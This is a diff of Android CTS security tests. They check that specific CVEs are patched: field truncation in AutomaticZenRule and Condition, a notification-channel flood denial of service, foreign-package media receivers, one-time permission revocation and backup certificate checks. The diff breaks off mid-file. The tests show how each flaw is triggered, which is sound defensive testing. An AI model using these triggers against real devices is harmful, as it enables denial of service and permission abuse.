--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
 
 import android.app.Activity;
 
-public class PocActivity extends Activity {
+public class SecondActivity extends Activity {
 }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
index 1bf6a78..35d576e 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
@@ -66,7 +66,7 @@
         }
     }
 
-    @AsbSecurityTest(cveBugId = 238477311)
+    @AsbSecurityTest(cveBugId = 238377411)
     @Test
     public void testDeviceAdminAppRestricted() {
         try {
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20456.java b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
new file mode 100644
index 0000000..2643433
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_UNKNOWN;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.AutomaticZenRule;
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+// This CTS test has been created taking reference from the tests present in
+// frameworks/base/core/tests/coretests/src/android/app/AutomaticZenRuleTest.java
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20456 extends StsExtraBusinessLogicTestCase {
+    private static final int INPUT_STRING_LENGTH = 2000; // 2 * 'MAX_STRING_LENGTH'
+    private static final String CLASS_NAME = "className";
+    private static final String PACKAGE_NAME = "packageName";
+    private static final String URI_STRING = "condition://android";
+    private static final String ZEN_RULE_NAME = "ZenRuleName";
+    private ComponentName mComponentNameWithLongFields;
+    private ComponentName mValidComponentName;
+    private String mLongString;
+    private Uri mLongUri;
+    private Uri mValidUri;
+    private List<String> mViolations;
+
+    private void checkFields(AutomaticZenRule rule, boolean ownerFlag, boolean configActivityFlag,
+            String tag) {
+        // Check all fields
+        if (INPUT_STRING_LENGTH <= rule.getName().length()) {
+            mViolations.add(tag + "input string length <= rule name length");
+        }
+        if (mLongUri.toString().length() <= rule.getConditionId().toString().length()) {
+            mViolations.add(tag + "input uri length <= rule conditionId length");
+        }
+        if (ownerFlag) {
+            if (INPUT_STRING_LENGTH <= rule.getOwner().getPackageName().length()) {
+                mViolations.add(tag + "input string length <= rule owner package name length");
+            }
+            if (INPUT_STRING_LENGTH <= rule.getOwner().getClassName().length()) {
+                mViolations.add(tag + "input string length <= rule owner class name length");
+            }
+        }
+        if (configActivityFlag) {
+            if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getPackageName().length()) {
+                mViolations.add(tag
+                        + "input string length <= rule configurationActivity package name length");
+            }
+            if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getClassName().length()) {
+                mViolations.add(tag
+                        + "input string length <= rule configurationActivity class name length");
+            }
+        }
+    }
+
+    private void checkConstructor(boolean ownerFlag, boolean configActivityFlag) {
+        ComponentName owner = ownerFlag ? mComponentNameWithLongFields : null;
+        ComponentName configActivity = configActivityFlag ? mComponentNameWithLongFields : null;
+        AutomaticZenRule rule = new AutomaticZenRule(mLongString, owner, configActivity, mLongUri,
+                null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+        checkFields(rule, ownerFlag, configActivityFlag, "\ncheckConstructor (owner=" + ownerFlag
+                + ", configActivity=" + configActivityFlag + "): ");
+    }
+
+    private void testIsConstructorVulnerable() {
+        // Check all three variants i.e. with owner, with configuration activity and with both
+        // owner and configuration activity. Although third case is mostly redundant, adding it to
+        // complete checks on all possible variants.
+        checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkConstructor(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    private void checkFieldSetters(boolean ownerFlag, boolean configActivityFlag) {
+        ComponentName owner = ownerFlag ? mValidComponentName : null;
+        ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+        AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+                mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+        // Check all fields that can be set via setter methods of AutomaticZenRule class
+        rule.setName(mLongString);
+        rule.setConditionId(mLongUri);
+        rule.setConfigurationActivity(mComponentNameWithLongFields);
+        checkFields(rule, /* ownerFlag */ false, /* configActivityFlag */ true,
+                "\ncheckFieldSetters (owner=" + ownerFlag + ", configActivity=" + configActivityFlag
+                        + "): ");
+    }
+
+    private void testIsFieldSetterVulnerable() {
+        checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkFieldSetters(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    private void checkParcelInput(boolean ownerFlag, boolean configActivityFlag)
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        ComponentName owner = ownerFlag ? mValidComponentName : null;
+        ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+        AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+                mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+        // Create rules with long fields set directly via reflection so that we can confirm that a
+        // rule with too-long fields that comes in via a parcel has its fields truncated directly.
+        Class automaticZenRuleClass = Class.forName("android.app.AutomaticZenRule");
+        Field fieldName = automaticZenRuleClass.getDeclaredField("name");
+        fieldName.setAccessible(/* flag */ true);
+        fieldName.set(rule, mLongString);
+        Field fieldConditionId = automaticZenRuleClass.getDeclaredField("conditionId");
+        fieldConditionId.setAccessible(/* flag */ true);
+        fieldConditionId.set(rule, mLongUri);
+        if (ownerFlag) {
+            Field fieldOwner = automaticZenRuleClass.getDeclaredField("owner");
+            fieldOwner.setAccessible(/* flag */ true);
+            fieldOwner.set(rule, mComponentNameWithLongFields);
+        }
+        if (configActivityFlag) {
+            Field fieldConfigActivity =
+                    automaticZenRuleClass.getDeclaredField("configurationActivity");
+            fieldConfigActivity.setAccessible(/* flag */ true);
+            fieldConfigActivity.set(rule, mComponentNameWithLongFields);
+        }
+
+        // Write AutomaticZenRule object to parcel
+        Parcel parcel = Parcel.obtain();
+        rule.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        // Instantiate AutomaticZenRule object using parcel
+        AutomaticZenRule ruleFromParcel = new AutomaticZenRule(parcel);
+
+        checkFields(ruleFromParcel, ownerFlag, configActivityFlag, "\ncheckParcelInput (owner="
+                + ownerFlag + ", configActivity=" + configActivityFlag + "): ");
+    }
+
+    private void testIsInputFromParcelVulnerable()
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkParcelInput(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    // b/242703460, b/242703505, b/242703780, b/242704043, b/243794204
+    // Vulnerable library : framework.jar
+    // Vulnerable module  : Not applicable
+    // Is Play managed    : No
+    @AsbSecurityTest(cveBugId = {242703460, 242703505, 242703780, 242704043, 243794204})
+    @Test
+    public void testPocCVE_2022_20456() {
+        try {
+            mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+            mComponentNameWithLongFields = new ComponentName(mLongString, mLongString);
+            mValidComponentName = new ComponentName(PACKAGE_NAME, CLASS_NAME);
+            mLongUri = Uri.parse("condition://" + mLongString);
+            mValidUri = Uri.parse(URI_STRING);
+            mViolations = new ArrayList<String>();
+
+            // Check AutomaticZenRule constructor
+            testIsConstructorVulnerable();
+
+            // Check AutomaticZenRule field setters
+            testIsFieldSetterVulnerable();
+
+            // Check AutomaticZenRule constructor using parcel input
+            testIsInputFromParcelVulnerable();
+
+            assertTrue("Device is vulnerable to at least one of the following vulnerabilities : "
+                    + "b/242703460(CVE-2022-20489), b/242703505(CVE-2022-20490), b/242703780"
+                    + "(CVE-2022-20456), b/242704043(CVE-2022-20492), b/243794204(CVE-2022-20494)"
+                    + " due to these violations where input string length=" + INPUT_STRING_LENGTH
+                    + " and input uri length=" + mLongUri.toString().length() + ":" + mViolations,
+                    mViolations.isEmpty());
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20482.java b/tests/tests/security/src/android/security/cts/CVE_2022_20482.java
new file mode 100644
index 0000000..a0df88c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20482.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20482 extends StsExtraBusinessLogicTestCase {
+
+    /**
+     * b/240422263
+     * Vulnerable library   : services.jar
+     * Vulnerable module    : Not applicable
+     * Is Play managed      : No
+     */
+    @AsbSecurityTest(cveBugId = 240422263)
+    @Test
+    public void testPocCVE_2022_20482() {
+        final int notificationChannelLimit = 10000; // 2 * NOTIFICATION_CHANNEL_COUNT_LIMIT
+        final String notificationChannelId = "NotificationChannelId";
+        final String notificationChannelName = "NotificationChannelName";
+        boolean isVulnerable = true;
+        int notificationChannelCount = 0;
+        NotificationManager notificationManager = null;
+        ArrayList<String> notificationChannelIds = new ArrayList<>();
+        try {
+            Context context = getApplicationContext();
+            notificationManager = context.getSystemService(NotificationManager.class);
+
+            // Store total number of notification channels present before test run
+            notificationChannelCount = notificationManager.getNotificationChannels().size();
+
+            // Create 'notificationChannelLimit' notification channels
+            for (int i = 0; i < notificationChannelLimit; ++i) {
+                String uniqueNotificationChannelId = notificationChannelId + i;
+                NotificationChannel notificationChannel =
+                        new NotificationChannel(uniqueNotificationChannelId,
+                                notificationChannelName, NotificationManager.IMPORTANCE_DEFAULT);
+
+                // Create notification channel
+                notificationManager.createNotificationChannel(notificationChannel);
+
+                // Add notification channel id in list(for deleting notification channel later)
+                notificationChannelIds.add(uniqueNotificationChannelId);
+            }
+        } catch (Exception e) {
+            isVulnerable = false;
+            if (!(e instanceof IllegalStateException)
+                    || !e.getMessage().contains("Limit exceed; cannot create more channels")) {
+                assumeNoException("Unexpected exception occurred!", e);
+            }
+        } finally {
+            try {
+                // Retrieve total number of notification channels added by test so that the
+                // test fails only if all notification channels from test were added successfully
+                notificationChannelCount = notificationManager.getNotificationChannels().size()
+                        - notificationChannelCount;
+                boolean flagAllNotificationChannelsAdded =
+                        notificationChannelCount == notificationChannelLimit;
+
+                // Delete notification channels created earlier
+                for (String id : notificationChannelIds) {
+                    notificationManager.deleteNotificationChannel(id);
+                }
+
+                // Fail if all notification channels from test were added successfully without
+                // any occurrence of IllegalStateException
+                assertFalse(
+                        "Device is vulnerable to b/240422263! Permanent denial of service"
+                                + " possible via NotificationManager#createNotificationChannel",
+                        isVulnerable && flagAllNotificationChannelsAdded);
+            } catch (Exception ignoredException) {
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20493.java b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
new file mode 100644
index 0000000..4933dc6
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.service.notification.Condition;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.lang.reflect.Field;
+import java.util.Collections;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/*
+ * This CTS test has been created taking reference from the tests present in
+ * frameworks/base/core/tests/coretests/src/android/service/notification/ConditionTest.java
+ */
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20493 extends StsExtraBusinessLogicTestCase {
+    private static final int INPUT_STRING_LENGTH = 2000;
+    private String mLongString;
+    private String mValidString;
+    private Uri mLongUri;
+    private Uri mValidUri;
+
+    private boolean checkFields(Condition condition, boolean checkLine) {
+        // Check all fields
+        boolean status = (mLongUri.toString().length() <= condition.id.toString().length())
+                || (INPUT_STRING_LENGTH <= condition.summary.length());
+        if (checkLine) {
+            status = status || (INPUT_STRING_LENGTH <= condition.line1.length())
+                    || (INPUT_STRING_LENGTH <= condition.line2.length());
+        }
+        return status;
+    }
+
+    private boolean testLongFieldsInConstructors() {
+        // Confirm strings are truncated via short constructor
+        Condition firstCondition = new Condition(mLongUri, mLongString, Condition.STATE_TRUE);
+
+        // Confirm strings are truncated via long constructor
+        Condition secondCondition = new Condition(mLongUri, mLongString, mLongString, mLongString,
+                -1, Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+        return checkFields(firstCondition, false) || checkFields(secondCondition, true);
+    }
+
+    private boolean setFieldsUsingReflection(boolean setLine)
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        // Set fields via reflection to force them to be long, then parcel and unparcel to make sure
+        // it gets truncated upon unparcelling.
+        Condition condition;
+        if (setLine) {
+            condition = new Condition(mValidUri, mValidString, mValidString, mValidString, -1,
+                    Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+        } else {
+            condition = new Condition(mValidUri, mValidString, Condition.STATE_TRUE);
+        }
+
+        Class conditionClass = Class.forName("android.service.notification.Condition");
+        Field id = conditionClass.getDeclaredField("id");
+        id.setAccessible(true);
+        id.set(condition, mLongUri);
+        Field summary = conditionClass.getDeclaredField("summary");
+        summary.setAccessible(true);
+        summary.set(condition, mLongString);
+        if (setLine) {
+            Field line1 = conditionClass.getDeclaredField("line1");
+            line1.setAccessible(true);
+            line1.set(condition, mLongString);
+            Field line2 = conditionClass.getDeclaredField("line2");
+            line2.setAccessible(true);
+            line2.set(condition, mLongString);
+        }
+
+        Parcel parcel = Parcel.obtain();
+        condition.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Condition conditionFromParcel = new Condition(parcel);
+        return checkFields(conditionFromParcel, setLine);
+    }
+
+    private boolean testLongFieldsFromParcel()
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        return setFieldsUsingReflection(true) || setFieldsUsingReflection(false);
+    }
+
+    /**
+     * b/242846316
+     * Vulnerable library : framework.jar
+     * Vulnerable module  : Not applicable
+     * Is Play managed    : No
+     */
+    @AsbSecurityTest(cveBugId = 242846316)
+    @Test
+    public void testPocCVE_2022_20493() {
+        try {
+            mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+            mLongUri = Uri.parse("condition://" + mLongString);
+            mValidUri = Uri.parse("condition://android");
+            mValidString = "placeholder";
+            boolean firstResult = testLongFieldsInConstructors();
+            boolean secondResult = testLongFieldsFromParcel();
+            assertFalse("Device is vulnerable to b/242846316!", firstResult || secondResult);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/MediaSessionTest.java b/tests/tests/security/src/android/security/cts/MediaSessionTest.java
new file mode 100644
index 0000000..d74179e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaSessionTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.content.ContextWrapper;
+import android.media.session.MediaSession;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class MediaSessionTest extends StsExtraBusinessLogicTestCase {
+    private static final String TAG = "MediaSessionTest";
+
+    private static final String TEST_SESSION_TAG_FOREIGN_PACKAGE =
+            "test-session-tag-foreign-package";
+    private static final String TEST_FOREIGN_PACKAGE_NAME = "fakepackage";
+    private static final String TEST_FOREIGN_PACKAGE_CLASS = "com.fakepackage.media.FakeReceiver";
+
+    @Test
+    @AsbSecurityTest(cveBugId = 238177121)
+    public void setMediaButtonBroadcastReceiver_withForeignPackageName_fails() throws Exception {
+        // Create Media Session
+        MediaSession mediaSession = new MediaSession(new ContextWrapper(getContext()) {
+                    @Override
+                    public String getPackageName() {
+                        return TEST_FOREIGN_PACKAGE_NAME;
+                    }
+                }, TEST_SESSION_TAG_FOREIGN_PACKAGE);
+
+        assertThrows("Component name with different package name was registered.",
+                IllegalArgumentException.class,
+                () -> mediaSession.setMediaButtonBroadcastReceiver(
+                        new ComponentName(TEST_FOREIGN_PACKAGE_NAME, TEST_FOREIGN_PACKAGE_CLASS)));
+
+        mediaSession.release();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java b/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java
new file mode 100644
index 0000000..eafef73
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.Manifest.permission.CAMERA;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.DeviceConfig;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.UiAutomatorUtils;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class OneTimePermissionTest {
+
+    private static final String CUSTOM_CAMERA_PERM_APP_PKG_NAME =
+            "android.permission.cts.appthatrequestcustomcamerapermission";
+    private static final String CUSTOM_CAMERA_PERM_APK =
+            "/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk";
+
+    public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+
+    private static final long ONE_TIME_TIMEOUT_MILLIS = 5000;
+    private static final long ONE_TIME_KILLED_DELAY_MILLIS = 5000;
+
+    private final Context mContext =
+            InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+    private String mOldOneTimePermissionTimeoutValue;
+    private String mOldOneTimePermissionKilledDelayValue;
+
+    @Before
+    public void wakeUpScreen() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+        SystemUtil.runShellCommand("input keyevent 82");
+    }
+
+    @Before
+    public void installApp() {
+        runShellCommand("pm install -r " + CUSTOM_CAMERA_PERM_APK);
+    }
+
+    @Before
+    public void prepareDeviceForOneTime() {
+        runWithShellPermissionIdentity(() -> {
+            mOldOneTimePermissionTimeoutValue = DeviceConfig.getProperty("permissions",
+                    "one_time_permissions_timeout_millis");
+            mOldOneTimePermissionKilledDelayValue = DeviceConfig.getProperty("permissions",
+                    "one_time_permissions_killed_delay_millis");
+            DeviceConfig.setProperty("permissions", "one_time_permissions_timeout_millis",
+                    Long.toString(ONE_TIME_TIMEOUT_MILLIS), false);
+            DeviceConfig.setProperty("permissions",
+                    "one_time_permissions_killed_delay_millis",
+                    Long.toString(ONE_TIME_KILLED_DELAY_MILLIS), false);
+        });
+    }
+
+    @After
+    public void uninstallApp() {
+        runShellCommand("pm uninstall " + CUSTOM_CAMERA_PERM_APP_PKG_NAME);
+    }
+
+    @After
+    public void restoreDeviceForOneTime() {
+        runWithShellPermissionIdentity(
+                () -> {
+                    DeviceConfig.setProperty("permissions", "one_time_permissions_timeout_millis",
+                            mOldOneTimePermissionTimeoutValue, false);
+                    DeviceConfig.setProperty("permissions",
+                            "one_time_permissions_killed_delay_millis",
+                            mOldOneTimePermissionKilledDelayValue, false);
+                });
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 237405974L)
+    public void testCustomPermissionIsGrantedOneTime() throws Throwable {
+        Intent startApp = new Intent()
+                .setComponent(new ComponentName(CUSTOM_CAMERA_PERM_APP_PKG_NAME,
+                        CUSTOM_CAMERA_PERM_APP_PKG_NAME + ".RequestCameraPermission"))
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+
+        mContext.startActivity(startApp);
+
+        // We're only manually granting CAMERA, but the app will later request CUSTOM and get it
+        // granted silently. This is intentional since it's in the same group but both should
+        // eventually be revoked
+        clickOneTimeButton();
+
+        // Just waiting for the revocation
+        eventually(() -> Assert.assertEquals(PackageManager.PERMISSION_DENIED,
+                mContext.getPackageManager()
+                        .checkPermission(CAMERA, CUSTOM_CAMERA_PERM_APP_PKG_NAME)));
+
+        // This checks the vulnerability
+        eventually(() -> Assert.assertEquals(PackageManager.PERMISSION_DENIED,
+                mContext.getPackageManager()
+                        .checkPermission(CUSTOM_PERMISSION, CUSTOM_CAMERA_PERM_APP_PKG_NAME)));
+
+    }
+
+    private void clickOneTimeButton() throws Throwable {
+        final UiObject2 uiObject = UiAutomatorUtils.waitFindObject(By.res(
+                "com.android.permissioncontroller:id/permission_allow_one_time_button"), 10000);
+        Thread.sleep(500);
+        uiObject.click();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PermissionBackupCertificateCheckTest.kt b/tests/tests/security/src/android/security/cts/PermissionBackupCertificateCheckTest.kt
new file mode 100644
index 0000000..1170939
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PermissionBackupCertificateCheckTest.kt
@@ -0,0 +1,813 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.security.cts
+
+import android.Manifest.permission.*
+import android.app.AppOpsManager
+import android.content.pm.PackageManager.*
+import android.os.ParcelFileDescriptor
+import android.permission.cts.PermissionUtils.grantPermission
+import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.InstrumentationRegistry
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.BackupUtils
+import com.android.compatibility.common.util.BackupUtils.LOCAL_TRANSPORT_TOKEN
+import com.android.compatibility.common.util.BusinessLogicTestCase
+import com.android.compatibility.common.util.ShellUtils.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
+import java.io.InputStream
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertFalse
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * Tests that permissions for backed up apps are restored only after checking that their signing
+ * certificates are compared.
+ *
+ * @see [com.android.permissioncontroller.permission.service.BackupHelper]
+ */
+@AppModeFull
+@RunWith(AndroidJUnit4::class)
+class PermissionBackupCertificateCheckTest : StsExtraBusinessLogicTestCase() {
+    private val backupUtils: BackupUtils =
+        object : BackupUtils() {
+            override fun executeShellCommand(command: String): InputStream {
+                val pfd =
+                    BusinessLogicTestCase.getInstrumentation()
+                        .uiAutomation
+                        .executeShellCommand(command)
+                return ParcelFileDescriptor.AutoCloseInputStream(pfd)
+            }
+        }
+
+    private var isBackupSupported = false
+
+    private val targetContext = InstrumentationRegistry.getTargetContext()
+
+    @Before
+    fun setUp() {
+        val packageManager = BusinessLogicTestCase.getInstrumentation().context.packageManager
+        isBackupSupported =
+            (packageManager != null && packageManager.hasSystemFeature(FEATURE_BACKUP))
+
+        if (isBackupSupported) {
+            assertTrue("Backup not enabled", backupUtils.isBackupEnabled)
+            assertTrue("LocalTransport not selected", backupUtils.isLocalTransportSelected)
+            backupUtils.executeShellCommandSync("setprop log.tag.$APP_LOG_TAG VERBOSE")
+        }
+    }
+
+    @After
+    fun tearDown() {
+        uninstallIfInstalled(APP)
+        clearFlag(APP, ACCESS_FINE_LOCATION, FLAG_PERMISSION_USER_SET)
+        clearFlag(APP, ACCESS_BACKGROUND_LOCATION, FLAG_PERMISSION_USER_SET)
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has the
+     * same certificate as the backed up app.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_sameCert_restoresRuntimePermissions() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
+        backupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE)
+        uninstallIfInstalled(APP)
+        install(APP_APK_CERT_1_DUP)
+        backupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE)
+
+        eventually {
+            assertEquals(PERMISSION_GRANTED, checkPermission(APP, ACCESS_FINE_LOCATION))
+            assertEquals(PERMISSION_DENIED, checkPermission(APP, READ_CONTACTS))
+        }
+    }
+
+    /**
+     * Test backup and restore of regular runtime permissions, when the app being restored has a
+     * different certificate as the backed up app.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [184847040])
+    fun testRestore_diffCert_doesNotGrantRuntimePermissions() {
+        install(APP_APK_CERT_1)
+        if (!isBackupSupported) {
+            return
+        }
+        grantPermission(APP, ACCESS_FINE_LOCATION)
+
